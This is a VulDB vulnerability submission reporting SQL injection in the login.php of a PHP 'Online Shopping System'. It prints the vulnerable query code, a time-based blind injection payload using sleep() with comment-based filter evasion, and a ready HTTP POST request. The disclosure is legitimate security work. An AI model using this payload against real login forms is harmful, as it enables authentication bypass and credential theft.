Soumettre #871811: ONLINE SHOPPING SYSTEM login.php SQL Injection Vulnerability v1 SQL Injectioninformation

TitreONLINE SHOPPING SYSTEM login.php SQL Injection Vulnerability v1 SQL Injection
Description## ONLINE SHOPPING SYSTEM login.php SQL Injection Vulnerability ### I. Vulnerability Impact An attacker can exploit this vulnerability to bypass login authentication and log in as any user. Additionally, time-based blind SQL injection can be used to extract plaintext passwords from the `user_info` table and admin password hashes from the `admin_info` table, leading to sensitive data leakage. ### II. Source Code Analysis The vulnerability resides in `login.php`, lines 9-12: ```php $email = mysqli_real_escape_string($con, $_POST["email"]); $password = $_POST["password"]; $sql = "SELECT * FROM user_info WHERE email = '$email' AND password = '$password'"; $run_query = mysqli_query($con, $sql); ``` The `email` parameter is sanitized via `mysqli_real_escape_string()`, but the `password` parameter is taken directly from `$_POST["password"]` without any filtering and concatenated into the SQL statement. An attacker can inject malicious SQL fragments through the password field to manipulate the query logic. Moreover, passwords in the `user_info` table are stored in plaintext, allowing an attacker to read all user credentials without cracking. ### III. Payload The core injection payload is: ``` 346778'and(select*from(select+sleep(10))a/**/union/**/select+1)=' ``` Here, `346778'` closes the original string single quote, `and` appends a boolean condition, the nested `sleep(10)` triggers a MySQL delay to verify the injection, `/**/` replaces spaces to bypass filtering, and the trailing `='` closes the SQL statement to make the syntax valid. After injection, the actual executed SQL becomes: ```sql SELECT * FROM user_info WHERE email = '[email protected]' AND password = '346778'and(select*from(select+sleep(10))a/**/union/**/select+1)='' ``` HTTP request body: ``` POST /login.php HTTP/1.1 Host: onlineshop Content-Type: application/x-www-form-urlencoded; charset=UTF-8 email=111%40qq.com&password=346778'and(select*from(select+sleep(10))a/**/union/**/select+1)=' ``` A server response delay exceeding 10 seconds confirms the vulnerability. ### IV. Source Download https://code-projects.org/online-shopping-system-in-php-with-source-code/
La source⚠️ https://github.com/zzzxc643/CVE1/blob/main/online-shopping-system/vul1.md
Utilisateur
 SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936)
Soumission27/06/2026 05:33 (il y a 2 mois)
Modérer15/08/2026 07:22 (2 months later)
StatutAccepté
Entrée VulDB390169 [code-projects Online Shopping System 1.0 Login /login.php email injection SQL]
Points20

Want to stay up to date on a daily basis?

Enable the mail alert feature now!